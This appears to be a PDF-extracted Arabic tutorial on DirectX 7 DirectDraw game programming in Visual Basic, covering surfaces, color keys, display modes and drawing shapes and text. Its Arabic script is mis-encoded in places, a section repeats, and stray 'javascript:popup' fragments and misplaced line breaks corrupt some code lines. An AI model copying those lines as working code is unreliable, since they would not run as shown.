 يسمح هذا الثابت باسـتخدام نظـام  
Mod_x وهونظام يتيح لـك اسـتخدام

ــذاآرة٢٥٦ ــت مــن حجــم ال ــو باي  آيل
ولا...الفيديو  ويتيح التعامل مع آروت

يمكــن اســتخدام هــذا الثابــت إلا مــع
 و  DDSCL_EXCLUSIVE الثــابتين

DDSCL_FULLSCREEN  

DDSCL_ALLOWMODEX 

 يـــسمح هـــذا باســـتخدام الأزرار  
Alt+Ctrl+Delete أثنــــاء تــــشغيل

 اللعبة
DDSCL_ALLOWREBOOT 

ــي  ــتخدامه إلا فــ ــن اســ  لا يمكــ
Windows98 أحدث وهو يتيح إدارة أو

 آارت الفيديو الرئيسي
DDSCL_CREATEDEVICEWINDOW

ــالظهور ــرامج الأخــرى ب ــسمح للب لا ي
ــى ــشاشة  علــ ــن... الــ ولا يمكــ
 تخدامه إلا مــــــــــعاســــــــــ

DDSCL_FULLSCREEN  

DDSCL_EXCLUSIVE 

 DDSCL_FULLSCREEN يعمل على جعل لعبتك تعمل بنظام
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Full-Screen-Mode وهــذا الثابــت لا
  يعمل إلا مع

DDSCL_EXCLUSIVE 

يسمح لك هذا الثابـت بالعمـل بعـدة
فــي حالــة لــو آنــت نظــم وذلــك 

ستستخدم أجزاء ثلاثيـة الأبعـاد فـي
 لعبتك

DDSCL_MULTITHREADED

يجعــل لعبتــك تعمــل آــأي نافــذة مــن
ولا يمكنـه العمـل ... Windows نوافذ
 :مع 

DDSCL_ALLOWMODEX  

DDSCL_EXCLUSIVE  

DDSCL_FULLSCREEN 

 DDSCL_NORMAL

 أو minimize لا يسمح لك باستخدام
Restore في نافذة لعبتك  DDSCL_NOWINDOWCHANGES

 

  السطح الرئيسي والسطح الخفي

 

 يجـب أن نعـرف مـا هـو          Back_Buffer و ما هو     Primaryقبل أن نعرف ما هو      
  ..السطح 

عبـارة عـن مـساحة مـسطحة     (DirectDrawSurface) أو ) Surace(السطح 
وغالبا ما تـستغل هـذه المـساحة مـن مـساحة آـارت              ... من ذاآرة الفيديو    

ذ من مـساحة النظـام إذا آانـت       ولكنه آذلك يستطيع أن يأخ    ... الفيديو ذاته   
  ... لعبتك أآبر مما ينبغي أو آانت ذاآرة آارت الفيديو مشغولة لسبب ما 

نوعــان يــستخدمان فــي الرســم علــى الــشاشة ... والــسطوح ثلاثــة أنــواع 
ونوع ثالـث لا يظهـر علـى        ... مباشرة وهما النوعان الذين سنشرحهما الآن       
  ... لى الشاشة الشاشة مطلقا ولكنه يستخدم في الرسم ع
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   Surfaces استخدام مكونات

... لكــل ســورفاس تنــشئه عــدد مــن المكونــات التــي يجــب عليــك انــشائها 
 - Rect: وباختــصار هنــاك آائنــان يجــب انــشائهما لكــل ســورفاس وهمــا  

DdSurfaceDesc2   

 فقد شـرحنا اسـتخدامه مـسبقا ولكننـا لـن نـستخدمه مـع                Rectفأما آائن   
Primary أو Back_Buffer...  وبالتالي فسنتجاوز عنه الآن.  

 فقد استخدمناه سابقا أيضا ولكننـا هنـا سنـضع           DdSurfaceDeskوأما آائن   
  ..نبذه عن هذا الكائن 

DdSurfaceDesc2   

DdSurfaceDesc2      عبارة عن نـوع Rect          حيـث بامكانـه أن يخـصص الـسطح 
ل هـو   ه ـ... ومـن هـذا النـوع يمكننـا أن نحـدد نـوع الـسطح                ... حيثما تشاء   

 أم ســطح Back_Buffer أم ســطح رســم خفــي  Primaryســطح رئيــسي 
  ..رسومي غير ظاهر 

  :وتكوين هذا النوع يكون آالتالي 

Type DDSURFACEDESC2 
    ddckCKDestBlt As DDCOLORKEY 
    ddckCKDestOverlay As DDCOLORKEY 
    ddckCKSrcBlt As DDCOLORKEY 
    ddckCKSrcOverlay As DDCOLORKEY 
    ddpfPixelFormat As DDPIXELFORMAT 
    ddsCaps As DDSCAPS2 
    lAlphaBitDepth As Long 
    lBackBufferCount As Long 
    lFlags As CONST_DDSURFACEDESCFLAGS 
    lHeight As Long 
    lLinearSize As Long 
    lMipMapCount As Long 
    lPitch As Long 
    lRefreshRate As Long 
    lTextureStage As Long 
    lWidth As Long 
    lZBufferBitDepth As Long 
End Type  

  ...ومن خلال هذا النوع سننشئ آائن السطح الرئيسي والسطح الخفي 
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   Primary الرئيسي السطح

آما قلنا مسبقا هناك ثلاثة أنواع من السطوح ولكـل سـطح صـفات تختلـف                
ولكل سطح طريقة إنشاء وتعريـف تختلـف مـن سـطح            ... ح الآخر   عن السط 

... ولكل سطح عدد من الكائنات التي تساعد في تعريفه وانـشاؤه            ... لآخر  
 فلــه آــائن يــستخدم فــي تعريفــه وهــو آــائن  Primaryوبالنــسبة للــسطح 

DdSurfaceDesc2              ومـن  ...  الذي اسـتخدمناه عـدد مـن المـرات حتـى الآن
  .كائن يستخدم في تغيير وتعريف نوع السطح المعروف أن هذا ال

  : Primaryهذا هو آود تعريف 

Dim Primary As DirectDrawSurface7 
Dim Ddsd_Primary As DDSURFACEDESC2 
Ddsd_Primary.lFlags = DDSD_CAPS Or _ 
 DDSD_BACKBUFFERCOUNT 
Ddsd_Primary.ddsCaps.lCaps = DDSCAPS_PRIMARYSURFACE _ 
Or DDSCAPS_FLIP Or DDSCAPS_COMPLEX  
Ddsd_Primary.lBackBufferCount = 1 
Set Primary = 
Dd.CreateSurface(Ddsd_Primary)javascript:popup.TextPopup(popt
xt919, popfont919,9,9,-1,-1)  

ربمـا بـدت لـك الأسـماء        ...  يوجد شيء لم نفهمـه والحمـد الله          حتى الآن لا  
 غيـر واضـحة بعـض الـشيء         Ddsd_Primary للكـائن    lFlagsالتي توضع بعـد     

 تعنـي أن العـضو      DDSD_CAPSفكتابـة العـضو     ... ولكنها لا تعني أمرا معينـا       
DDSD_CAPS سيكون فعالا في هذا السطح ليس أآثر ...  

  Back_Buffer يالخف السطح

  ...يسمى أيضا السطح الرسومي أو شاشة الرسم الخفية و

...  لتعريـف الـسطح الخفـي        DdSurfaceDesc2وآعادتنا سنستخدم العنصر    
  :أنظر الكود التالي 

Dim Ddsd_Back_Buffer As DDSURFACEDESC2 
Dim Back_Buffer As DirectDrawSurface7 
Ddsd_Back_Buffer.ddsCaps.lCaps = DDSCAPS_BACKBUFFER 
Set Back_Buffer = Primary.GetAttachedSurface 
_(Ddsd_Back_Buffer.ddsCaps)  



ezonet@hotmail.com 94

Back_Buffer.GetSurfaceDesc Ddsd_Back_Buffer  

 

ــسي و    ــسطح الرئي ــف ال ــوم بتعري ــسطح الآن والحمــد الله اســتطعنا أن نق ال
سنتعلم الآن آيف نستخدم السطح الخفي في إنشاء رسـومات        ... الخفي  

  وآتابات جميلة

  رسم السطوح على السطح الخفي

الـسطح  ... عرفنا في الفصول السابقة أن هنـاك ثلاثـة أنـواع مـن الـسطوح                
والــسطح ... الرئيــسي وهــو الــذي يقلــب الــسطح الخفــي إلــى الــشاشة  

والسطح الرسـومي  .. ال والسطوح عليه    الخفي وهو الذي يتم رسم الأشك     
  BitMapsوهو سطح يستخدم في تحميل صور من ملفـات الـصور النقطيـة    

وهـو آمـا    ... ويضعها على السطح استعدادا لرسمها على السطح الخفي         
  ..OffScreenقلنا من السطوح التي لا تظهر على الشاشة أو 

نامج يـسمى   سنستخدم السطح الرسومي في تحميل ملف من خارج البر        
Back.bmp وهو آما هو موضح من اسمه سيكون خلفية للبرنامج ...  

   :متغيراتثلاثة نعلن عن  شيء أول

Rectمسبقا هو آائن لا غنى عنه بالنسبة للسطح الرسوميلت آما ق ..   

DdSurfaceDesc2وهو الكائن الذي سيحمل صفات السطر الرسومي ..  

DirectDrawSurface7يحمل الصورة  وهو السطح الذي س ...  

  :التالي  الكود لاحظ

  المتغيرات عن الإعلان'

Dim MySurf As DirectDrawSurface7 
Dim My_Ddsd As DDSURFACEDESC2 
Dim MyRect As RECT 
 الكائنات تخصيص'
My_Ddsd.lFlags = DDSD_CAPS Or DDSD_HEIGHT Or _ 
DDSD_WIDTH 
My_Ddsd.ddsCaps.lCaps = DDSCAPS_OFFSCREENPLAIN 
My_Ddsd.lHeight = 600 
My_Ddsd.lWidth = 800  
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MyRect.Top = 0 
MyRect.Left = 0 
MyRect.Right = 800 
MyRect.Bottom = 600  

 السطح انشاء'
Set MySurf = Dd.CreateSurfaceFromFile _ (App.Path & 
"\back.bmp", My_Ddsd) 

javascript:popup.TextPopup(poptxt761, 
popfont761,9,9,-1,-1) 'نكتب السطح ولرسم 

Back_Buffer.BltFast 0, 0, MySurf, _ 
MyRect, DDBLTFAST_WAIT 

ان رسم السطوح على السطح الخفي لهو من الأشياء السهلة والبـسيطة          
  ..بها بسهولة وتلقائية ومع الوقت ستجد نفسك تكت... 

DdColorKey   

والكـائن الرئيـسي فـي هـذه اللعبـة هـو            ... لنفترض أنك تريد أن تصنع لعبة       
ــر ذلــك   صــاروخوأنــك رســمت  ... صــاروخ ــامج آالفوتوشــوب مــثلا أو غي  ببرن

  :وحفظت الصورة على هيئة صورة نقطية فيسكون شكلها آالتالي مثلا 

  

 فقـط بـدون الـصندوق       صـاروخ ل لايعجبـك فأنـت تريـد صـورة          ولكن هذا الشك  
 DdColorKeyوفــي هــذه الحالــة أنــت تحتــاج لااســتخدام ... الأســود حولهــا 

  :واستخدامه آالتالي

  : آالتالي DdColorKeyأولا أعلن عن آائن من نوع 

Dim Key As DdColorKey  

  :ثم قم بتخصيصه آالتالي 
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Key.high = 0  

key.low = 0  

ــت  ــد أن تــــ ــي  بعــــ ــصورة فــــ ــل الــــ ــق  Surfaceم تحميــــ ــن طريــــ  عــــ
Dd.CreateSurfaceFromFile   

  :التالي السطر تكتب

MySurf.SetColorKey DDCKEY_SRCBLT, Key  

 ســتغير Back_Buffer.BltFastوفــي ســطر الرســم علــى الــسطح الخفــي  
ــر   ــصر الأخي ــى DDBLTFAST_WAITالعن  DDBLTFAST_SRCCOLORKEY إل

  : ي الآن سيكون شكل طائرتك آالتال

  

 

 الرسم على السطح الخفي

وذلـك عـن   ... تعلمنا في الفيجول بيسك آيف نرسـم دائـرة أو خـط أو مربـع              
وســنتعلم الآن آيــف ننــشئ رســوما مثلهــا  ... Circle و Lineطريــق الــدوال 

  ..Back_Bufferعلى السطح الخفي 

  :ةالشاش على الكائنات إظهارخطوات  

الأولـى هـي رسـم الكـائن علـى الـسطح       ... وهي تتألف من خطوتين فقط      
 Flipوالثانية هي أمر الـسطح الرئيـسي بقلـب الـسطح الخفـي              ... الخفي  

  ..ليظهر على الشاشة

 آميقـاتي فـي الألعـاب التـي         Doنحن عادة ما نستخدم الحلقات التكرارية        
ر العادي الذي يأتي    تعمل مع دايرآت إآس وهذا يمنعنا من استخدام التايم        

 Loopingلو آانـت معلوماتـك عـن الحلقـات التكراريـة         ... مع الفيجول بيسك    
ــابي الأول     ــى آت ــع إل ــك أن ترج ــعيفة فيمكن ــاب  "ض ــة الألع الأســس (برمج

  ...والمنشور في موقعي )" والمبادئ
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الآن أول شيء نتعلمه في الألعاب التي تعمل بحجم الشاشة هـو ألا نتـرك               
وذلك لأننـا لـو ترآنـا أي        ...  من أحد أو بعض عناصر اللعبة        أي مساحة خالية  

وهـو  ... مساحة فارغة فستظل الشاشة تومض وميضا سريعا يؤذي العـين            
  ...تأثير غير مطلوب في برمجة الألعاب 

لــذا فــأول شــيء ســنتعلمه هــو رســم الــصندوق وذلــك ليغطــي الــشاشة   
... ر لـون خلفيتـه      وآيـف نغي ـ  ... سنتعلم آيـف نرسـم الـصندوق        ... بالكامل  

  :أنظر الكود التالي ... ولون إطاره أيضا 

Back_Buffer.SetFillColor vbBlack 
Back_Buffer.SetFillStyle 0 
Back_Buffer.SetForeColor vbCyan 
Back_Buffer.setDrawWidth 2 
Do 
On Local Error Resume Next 
DoEvents 
Back_Buffer.DrawBox 0, 0, 800, 600  
Loop 

  الآن قم بتنفيذ الكود السابق ولاحظ ماذا سيحدث ؟؟؟ 

   يستم تكبير الفورم لتكون بحجم الشاشة-١

  على الرغم من آود الرسم الذي استخدمناه ... لم تظهر أي صناديق  -٢

والسبب في عدم ظهور صناديق هو أننا قمنا بالرسم على السطح الخفـي          
  لى الشاشة ولم نقم بقلب هذا السطح عBack_Bufferفقط 

يجب عنـد اسـتخدام دايرآـت إآـس مراعـاة الترتيـب فـي انـشاء                 : ملاحظة  
ثم دايرآت درو   ... فعليك أولا أن تقوم بإنشاء آائن دايرآت إآس         ... الكائنات  

  ..ثم الكود المكتوب أعلاه... ثم السطح الخفي ... ثم السطح الرئيسي ... 

أمر قلب الـسطح الخفـي   الآن سنغير الكود السابق بإضافة سطر واحد وهو    
  :ليظهر على الشاشة 

Back_Buffer.SetFillColor vbBlack 
Back_Buffer.SetFillStyle 0 
Back_Buffer.SetForeColor vbCyan 
Back_Buffer.setDrawWidth 2 
Do 
On Local Error Resume Next 
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DoEvents 
Back_Buffer.DrawBox 0, 0, 800, 600 
Primary.Flip Nothing, DDFLIP_WAIT 
Loop 

فأنت تعلم  ... ولكن قبل تشغيل البرنامج لاحظ أنك لن تستطيع الخروج منه           
 ولكـن الحـل هـو أن تـستخدم الإجـراء            Alt+Ctrl+Deleteأننا لم نفعل الأزرار     

KeyCode للفورم وأن تكتب فيه الأمر Endأي انهاء ..  

  :والآن شكل الكود آكل سيكون آالتالي 

Private Sub Form_KeyDown(KeyCode As Integer, _ Shift 
As Integer) 
End 
End Sub 

Private Sub Form_Load() 
Dim Dx As DirectX7 
Dim Dd As DirectDraw7 
Set Dx = New DirectX7 
Set Dd = Dx.DirectDrawCreate("") 
Dd.SetCooperativeLevel Form1.hWnd, _ 
DDSCL_ALLOWMODEX Or DDSCL_EXCLUSIVE Or _ 
DDSCL_FULLSCREEN 
Dd.SetDisplayMode 800, 600, 16, 0, DDSDM_DEFAULT 
Dim Primary As DirectDrawSurface7 
Dim Ddsd_Primary As DDSURFACEDESC2 
Ddsd_Primary.lFlags = DDSD_CAPS Or 
DDSD_BACKBUFFERCOUNT 
Ddsd_Primary.ddsCaps.lCaps _ 
=DDSCAPS_PRIMARYSURFACE _ 
Or DDSCAPS_FLIP Or DDSCAPS_COMPLEX _ 
Ddsd_Primary.lBackBufferCount = 1 
Set Primary = Dd.CreateSurface(Ddsd_Primary) 

Dim Ddsd_Back_Buffer As DDSURFACEDESC2 
Dim Back_Buffer As DirectDrawSurface7 
Ddsd_Back_Buffer.ddsCaps.lCaps = 
DDSCAPS_BACKBUFFER 
Set Back_Buffer = 
Primary.GetAttachedSurface(Ddsd_Back_Buffer.ddsCaps) 
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Back_Buffer.GetSurfaceDesc Ddsd_Back_Buffer 
'Drawing Box 
Do 
On Local Error Resume Next 
DoEvents 
Back_Buffer.SetFillColor vbBlack 
Back_Buffer.SetFillStyle 0 
Back_Buffer.SetForeColor vbCyan 
Back_Buffer.setDrawWidth 2 
Back_Buffer.DrawBox 0, 0, 800, 600 
Primary.Flip Nothing, DDFLIP_WAIT 
Loop 
End Sub 

أعتقد أن الكود السابق قد شرحناه بالكامل ولا يوجد قيه شيء لم نشرحه             
ولو واجهتك أي صعوبات في الكود السابق فأنت بالتأآيد لـم تكـن مرآـزا               ... 

  ة ومستحضرا ذهنك في الفصول السابق

  ...رسم دائرة

  الكود التالي يقوم برسم دائرة

Back_Buffer.DrawCircle 400, 300, 100 

ــر الخــواص   ــك أن تجــرب تغيي  DrawStyle و DrwWidth و FillStyleالآن يمكن
  .. لتتعلم آيف تتحكم في هذه القيمBack_Bufferللعنصر 

 الكتابة على السطح الخفي

وص توضـيحية تكتـب فيهـا آمثـال         لا أحد يـستطيع أ يـصمم لعبـة بـدون نـص            
Score مثلا أو عدد المحاولات أو غير ذلك من متطلبات الكتابة في الألعاب   

ولوآانــت دايرآــت إآــس لا تــدعم الكتابــة لكــان ذلــك عيبــا خطيــرا فيهــا قــد  
 -الحمـد الله    -ولكـن   ... يتسبب في انصراف معظـم أو آـل المبـرمجين عنهـا             

 ...دايرآت إآس تدعم الكتابة 

   نص أي آتابة باتمتطل

لكي تستطيع آتابة نص فأنت بحاجة لعدد من الخيارات التي تخصصها تبعـا             
  :للشكل الذي تريده فمثلا هناك 

Fontأو الخط الذي سيكتب به النص …  
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Sizeحجم الخط الذي سيكتب به النص …  

Boldهل الخط ثخين أم رفيع …  

Italicهل الخط مائل أم معتدل …  

Color لون الخط ...  

  ...دايرآت إآس تدعم آتابة النصوص وتخصيص جميع الخصائص السابقة و

   stdFont الكائن

...  يحتوي على معظم صفات وخصائص الخـط         Typeهو آائن عبارة عن نوع      
...  وغير ذلك    Bold أو حجم الخط و    Size أو اسم الخط و      Nameمثل الخاصية   

ات الخـط الـذي      للتعبير عن مواصـف    stdFontونحن سنستخدم آائنا من نوع      
  ...سنكتبه 

  :أنظر الكود التالي 

 إنشاء الخط'

Dim sFont As New StdFont 
sFont.Name = "Arial" 
sFont.Bold = True 
sFont.Size = 18 
sFont.Italic = True 
 الخط تعريف السطح الخفي على هذا'

Back_Buffer.SetFont sFont 

' ويتم تغيير لون.. هكذا الخط جاهز للرسم   

' لخط عن طريق الخاصيةا   

'ForeColor  

' ولرسم نصا بهذا الخط ... لكائن السطح الخفي 
 _ ,Back_Buffer.DrawText 230, 50نكتب
"Www.GameDesigners.8M.Net", False 

الآن تستطيع آتابـة النـصوص علـى الـشاشة و تحريكهـا عـن طريـق تغييـر                   
 ...X&  Yقيمتي 
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  رسم السطوح على السطح الخفي

الـسطح  ... ي الفصول السابقة أن هنـاك ثلاثـة أنـواع مـن الـسطوح               عرفنا ف 
والــسطح ... الرئيــسي وهــو الــذي يقلــب الــسطح الخفــي إلــى الــشاشة  

والسطح الرسـومي  .. الخفي وهو الذي يتم رسم الأشكال والسطوح عليه         
  BitMapsوهو سطح يستخدم في تحميل صور من ملفـات الـصور النقطيـة    

وهـو آمـا    ... دادا لرسمها على السطح الخفي      ويضعها على السطح استع   
  ..OffScreenقلنا من السطوح التي لا تظهر على الشاشة أو 

سنستخدم السطح الرسومي في تحميل ملف من خارج البرنامج يـسمى           
Back.bmp وهو آما هو موضح من اسمه سيكون خلفية للبرنامج ...  

   :متغيراتثلاثة نعلن عن  شيء أول

Rectبقا هو آائن لا غنى عنه بالنسبة للسطح الرسومي مسلت آما ق..   

DdSurfaceDesc2وهو الكائن الذي سيحمل صفات السطر الرسومي ..  

DirectDrawSurface7 وهو السطح الذي سيحمل الصورة  ...  

  :التالي  الكود لاحظ

  المتغيرات عن الإعلان'

Dim MySurf As DirectDrawSurface7 
Dim My_Ddsd As DDSURFACEDESC2 
Dim MyRect As RECT 
 الكائنات تخصيص'
My_Ddsd.lFlags = DDSD_CAPS Or DDSD_HEIGHT Or _ 
DDSD_WIDTH 
My_Ddsd.ddsCaps.lCaps = DDSCAPS_OFFSCREENPLAIN 
My_Ddsd.lHeight = 600 
My_Ddsd.lWidth = 800  

MyRect.Top = 0 
MyRect.Left = 0 
MyRect.Right = 800 
MyRect.Bottom = 600  

 السطح انشاء'
Set MySurf = Dd.CreateSurfaceFromFile _ (App.Path & 
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"\back.bmp", My_Ddsd) 

javascript:popup.TextPopup(poptxt761, 
popfont761,9,9,-1,-1) 'نكتب السطح ولرسم 

Back_Buffer.BltFast 0, 0, MySurf, _ 
MyRect, DDBLTFAST_WAIT 

ان رسم السطوح على السطح الخفي لهو من الأشياء السهلة والبـسيطة          
  ..ومع الوقت ستجد نفسك تكتبها بسهولة وتلقائية ... 

DdColorKey   

والكـائن الرئيـسي فـي هـذه اللعبـة هـو            ... لنفترض أنك تريد أن تصنع لعبة       
ــر ذلــك   صــاروخ رســمت وأنــك ... صــاروخ ــامج آالفوتوشــوب مــثلا أو غي  ببرن

  :وحفظت الصورة على هيئة صورة نقطية فيسكون شكلها آالتالي مثلا 

  

 فقـط بـدون الـصندوق       صـاروخ ولكن هذا الشكل لايعجبـك فأنـت تريـد صـورة            
 DdColorKeyوفــي هــذه الحالــة أنــت تحتــاج لااســتخدام ... الأســود حولهــا 

  :خدامه آالتاليواست

  : آالتالي DdColorKeyأولا أعلن عن آائن من نوع 

Dim Key As DdColorKey  

  :ثم قم بتخصيصه آالتالي 

Key.high = 0  

key.low = 0  

ــي     ــصورة فــــ ــل الــــ ــتم تحميــــ ــد أن تــــ ــق  Surfaceبعــــ ــن طريــــ  عــــ
Dd.CreateSurfaceFromFile   
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  :التالي السطر تكتب

MySurf.SetColorKey DDCKEY_SRCBLT, Key  

 ســتغير Back_Buffer.BltFastوفــي ســطر الرســم علــى الــسطح الخفــي  
ــر   ــصر الأخي ــى DDBLTFAST_WAITالعن  DDBLTFAST_SRCCOLORKEY إل

  : الآن سيكون شكل طائرتك آالتالي 

  

 
  

 
 Rectangle المستطيل

يـتم  ... ة الـشكل    هو عبارة عن مساحة مستطيلة أو مربع       : Rectالصندوق  
 ...تحديدها بأربعة متغيرات 

•  Top  : نقطة البدء من الأعلى  
• Left : نقطة البدء من اليسار  
• Bottom : نقطة البدء من الأسفل  
• Right :  نقطة البدء من اليمين  

ووظيفة هذه المساحة هي تحديد جزء معـين مـن الـشاشة أو مـن سـطح                 
ــات والمهــام عل ــ  ــتم آداء بعــض العملي وهــذه ... ى هــذا الــسطح الرســم لي

 - Top - Leftهـي القـيم   ... المساحة يتم تحديدها عن طريق أربعـة قـيم   
Right - Bottom.   

ولكـن  ...  يمكنك انشاؤه بنفسك     Typeوالريكت في الفيجول بيسك هو نوع       
الفيجول بيـسك تنـشئه لـك تلقائيـا إذا أضـفت مكتبـات دايرآـت إآـس فـي                    

Referece ...     قي نظرة على هذا النوع فهو يـشبه هـذا          فلو آنت تحب أن تل
 :  
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Type Rect  

Top As Long 
Left As Long 
Right As Long 
Bottom As Long 

End Type  

   ؟؟Rect فائدةهي  ما

منهــا أنــك لا تــستطيع أن ترســم أي شــكل علــى ... للــصندوق عــدة فوائــد 
أسـباب  وذلك لعدة    ... Rectالشاشة بواسطة دايرآت درو بدون أن تصنع له         

  :وهي 

 قد تكون الصورة التي سترسـمها جـزء مـن سـطح آبيـر وبالتـالي فأنـت                   -١
   للمساحة التي سترسمها من السطح Rectتحتاج لتحديد 

 وذلك بوضع عدد من الأشـكال       Animation قد تحتاج لعمل صورة متحرآة       -٢
 يـتم تحديـد جـزء يظهـر مـن الـصورة             Rectالمتجاورة الثابتـة ثـم عـن طريـق          

  باستمرار مكونا التحركويتغير 

 حتى لو آنـت سترسـم الـسطح آـاملا ولـيس مجـرد جـزء مـن الـسطح               -٣
هـذا  ...  بحجـم الـسطح      Rectولكن الـسطح بالكامـل فأنـت تحتـاج لتحديـد            

  .ياجبار

 
 نظام العرض

واخترنـا طريقـة تعامـل وتعـاون        ... تعلمنا حتى الآن انشاء آائن دايرآـت درو         
  ... Windows الأخرى في برنامجنا أو لعبتنا مع البرامج

  .وبقى أن نحدد نظام العرض الذي ستعمل عليه لعبتنا 

  العرض؟؟ نظام أغير لماذا

لكــي نعــرف لمــاذا يتعــين علينــا تغييــر نظــام العــرض يجــب أن نعــرف بعــض  
  :التعريفات الآتية 

أي شاشة مهما آان حجمها هي عبارة عن شكل مستطيل          :  الشاشة   -١
م الشاشة إلى عدد من النقـاط الـصغيرة المتلاصـقة           وتنقس ... ٣ : ٢أبعاده  

  وبوضع هذه النقاط بجوار بعضها البعض يتكون المشهد ... 
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هو مجموعة من النقاط الملونـة المتناسـقة التـي تـصنع فـي              : المشهد   -٢
مجملها شكلا أو مشهدا وآل مشهد له عدد من الصفات وهو نقطة البداية             

وآــل ذلــك يــتم تحديــده بواســطة وحــدة ... ونقطــة النهايــة وعــرض وارتفــاع 
   Pixelالقياس 

٣- Pexel  :            بيكسل هي وحدة قياس نستخدمها في دايرآـت إآـس ونقـوم
  ... في الشاشة لنتمكن من البرمجة بها Pixelsبتحديد عدد 

وذلـك لأن عـدد    ... أعتقد الآن أننا نعرف لماذا يتعين علينا تغيير نظام العرض           
Pixels      ولـو أننـا لـم نغيـر نظـام العـرض تبعـا              ... خـر    يختلف مـن مـستخدم لآ

للمقاييس التـي نـستخدمها فـي ألعابنـا ووضـعنا ألعابنـا علـى جهـاز يعمـل            
وقد لا تعمل   ... بمقاييس أخرى غير مقاييسنا ستظهر اللعبة بشكل مشوه         

  .على الإطلاق 

  معرفة إعدادات الجهاز الذي أعمل عليه الآن

ويمكنـك ذلـك بكـل      ... ذي ستعمل عليه    قد تحتاج لمعرفة إعدادات الجهاز ال     
  ...سهولة من خلال دايرآت درو 

 وهــو آــائن لــه DdSurfaceDesc2أولا ســنعلن عــن آــائن مــن نــوع   •
  ...وسنستخدمه آثيرا في الدروس القادمة ... العديد من الوظائف 

ثم نجعـل دايرآـت درو يـضع إعـدادات الـشاشة الرئيـسية فـي هـذا                   •
  ...الكائن 

  ... الشاشة من هذا الكائن على الفورم ثم نعرض اعدادات  •

  :التالي  بالكود عمله يمكن مهذا

Private Sub Form_Load() 
Dim Dx As DirectX7 
Dim Dd As DirectDraw7 
Set Dx = New DirectX7 
Set Dd = Dx.DirectDrawCreate("") 
Dim Ddsd As DDSURFACEDESC2 
Dd.SetCooperativeLevel Form1.hWnd, _ 
DDSCL_ALLOWMODEX Or DDSCL_EXCLUSIVE Or _ 
DDSCL_FULLSCREEN 
Dd.GetDisplayMode Ddsd 
Show 
Print "الشاشة ارتفاع " & Ddsd.lHeight 
Print "الشاشة عرض " & Ddsd.lWidth 
Print "التحديث سرعة" & Ddsd.lRefreshRate 
End Sub 
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ر سـطو  الفورمـة ثلاثـة    لك على  السابق سيعرض  باستخدام الكود 
  :هي بالترتيب 

  .. في بارتفاع الشاشةPixels عدد النقط -١

  .. بعرض الشاشةPixels عدد النقط -٢

  . وهي تعتمد على قدرة آارت الفيديو RefreshRate سرعة التحديث -٣

في السطور السابقة تعرفنا علـى آيفيـة معرفـة نظـام العـرض لـدى                 •
توافقـا مـع   المستخدم وبقى أن نعرف آيف نغير نظام العـرض يكـون م    

  :وذلك يكون بالكود التالي ... لعبتنا 

Dd.SetDisplayMode 800, 600, 16, 0, DDSDM_DEFAULT 

  

 التطبيق الأول

ثـم ننـشئ    ... سنتعلم في هـذا التطبيـق آيـف ننـشئ آـائن دايرآـت درو                
  ..السطح الرئيسي والخفي 

Dim Dx As DirectX7
Dim Dd As DirectDraw7

 إآس دايرآت آائن ننشئ هنا'

Set Dx = New DirectX7
 درو دايرآت آائن ننشئ'

Set Dd = Dx.DirectDrawCreate("")
 الشاشة مع والتعامل العمل نظام اعداد'

Dd.SetCooperativeLevel Form1.hWnd, _
DDSCL_ALLOWMODEX Or DDSCL_EXCLUSIVE Or _
DDSCL_FULLSCREEN

 العرض نظام تحديد'

Dd.SetDisplayMode 800, 600, 16, 0, DDSDM_DEFAULT
Dim Primary As DirectDrawSurface7
Dim Ddsd_Primary As DDSURFACEDESC2
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 الرئيسي السطح انشاء'

Ddsd_Primary.lFlags = DDSD_CAPS Or 
DDSD_BACKBUFFERCOUNT
Ddsd_Primary.ddsCaps.lCaps = 
DDSCAPS_PRIMARYSURFACE _
Or DDSCAPS_FLIP Or DDSCAPS_COMPLEX
Ddsd_Primary.lBackBufferCount = 1
Set Primary = Dd.CreateSurface(Ddsd_Primary)
Me.Show
Dim Ddsd_Back_Buffer As DDSURFACEDESC2
Dim Back_Buffer As DirectDrawSurface7

 الخفي السطح انشاء'

Ddsd_Back_Buffer.ddsCaps.lCaps = DDSCAPS_BACKBUFFER
Set Back_Buffer = 
Primary.GetAttachedSurface(Ddsd_Back_Buffer.ddsCaps)
Back_Buffer.GetSurfaceDesc Ddsd_Back_Buffer 

  

 لثانيالتطبيق ا

) دوائر وخطـوط ومـستطيلات  (سنتعلم في هذا التطبيق آيف نرسم أشكالا   
  :وتلوينها وتشكيلها

Dim Dx As DirectX7
Dim Dd As DirectDraw7

انشاء آائن دايرآت إآس وآائن دايرآت درو '
Set Dx = New DirectX7
Set Dd = Dx.DirectDrawCreate("")

الشاشة تحديد نظام التعامل مع'
Dd.SetCooperativeLevel Form1.hWnd, _
DDSCL_ALLOWMODEX Or DDSCL_EXCLUSIVE Or _
DDSCL_FULLSCREEN

العرض تحديد نظام'
Dd.SetDisplayMode 800, 600, 16, 0, DDSDM_DEFAULT
Dim Primary As DirectDrawSurface7
Dim Ddsd_Primary As DDSURFACEDESC2

الرئيسي اعداد السطح'
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Ddsd_Primary.lFlags = DDSD_CAPS Or 
DDSD_BACKBUFFERCOUNT
Ddsd_Primary.ddsCaps.lCaps = 
DDSCAPS_PRIMARYSURFACE _
Or DDSCAPS_FLIP Or DDSCAPS_COMPLEX
Ddsd_Primary.lBackBufferCount = 1
Set Primary = Dd.CreateSurface(Ddsd_Primary)
Me.Show
Dim Ddsd_Back_Buffer As DDSURFACEDESC2
Dim Back_Buffer As DirectDrawSurface7

اعداد السطح الخفي'
Ddsd_Back_Buffer.ddsCaps.lCaps = DDSCAPS_BACKBUFFER
Set Back_Buffer = 
Primary.GetAttachedSurface(Ddsd_Back_Buffer.ddsCaps)
Back_Buffer.GetSurfaceDesc Ddsd_Back_Buffer
Do
DoEvents

آخلفية اعداد الصندوق'
Back_Buffer.SetFillColor vbBlack
Back_Buffer.SetFillStyle 0
Back_Buffer.DrawBox 0, 0, 800, 600

ةدائر رسم'
Back_Buffer.SetFillColor vbRed
Back_Buffer.SetFillStyle 5
Back_Buffer.SetForeColor vbCyan
Back_Buffer.setDrawWidth 2
Back_Buffer.DrawCircle 100, 100, 50

ناعمة رسم صندوق بحواف'
Back_Buffer.SetFillColor vbYellow
Back_Buffer.SetFillStyle 3
Back_Buffer.SetForeColor vbWhite
Back_Buffer.DrawRoundedBox 200, 100, 400, 300, 50, 50
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رسم شكل بيضاوي'
Back_Buffer.SetFillStyle 4
Back_Buffer.DrawEllipse 400, 350, 700, 550

الشاشة قلب السطح الخفي على'
Primary.Flip Nothing, DDFLIP_WAIT
Loop

 

  الثالث التطبيق

  

